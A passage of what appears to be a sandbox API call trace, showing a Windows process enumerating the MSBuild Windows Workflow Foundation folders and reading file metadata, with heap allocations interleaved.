lpFindFileData=0x119f20c) returned 0x2e9000 [0080.059] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.059] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="")) returned 1 [0080.059] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="")) returned 0 [0080.059] GetLastError () returned 0x12 [0080.059] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0080.059] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="")) returned 1 [0080.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.059] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.059] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.059] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0080.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.060] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0080.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.060] NtClose (Handle=0x124) returned 0x0 [0080.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0080.061] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0080.061] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.061] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0080.061] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0080.061] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0080.061] GetLastError () returned 0x12 [0080.061] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0080.061] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.061] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.061] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0080.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b128 [0080.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b020 [0080.062] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.062] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.062] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.062] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.062] NtClose (Handle=0x124) returned 0x0 [0080.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b020) returned 1 [0080.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b020 [0080.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b968 [0080.063] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0080.063] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.063] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0080.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.064] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0080.064] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0080.064] GetLastError () returned 0x12 [0080.064] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0080.064] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.064] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.064] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0080.065] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0080.065] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0080.065] GetLastError () returned 0x12 [0080.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b968) returned 1 [0080.065] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123ba70) returned 1 [0080.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b020) returned 1 [0080.065] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0080.065] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.065] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0080.065] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.066] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.066] NtClose (Handle=0x168) returned 0x0 [0080.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b020) returned 1 [0080.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b020 [0080.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ba70 [0080.066] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0080.067] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.067] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0080.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b968 [0080.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3f50 [0080.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123bf98 [0080.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.068] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9fc12, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x8c9fc12, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5627c831, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0080.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3f70 [0080.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123c0a0 [0080.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.069] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9fc12, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x8c9fc12, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5627c831, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0080.069] GetLastError () returned 0x12 [0080.069] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0080.069] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.069] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.069] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, 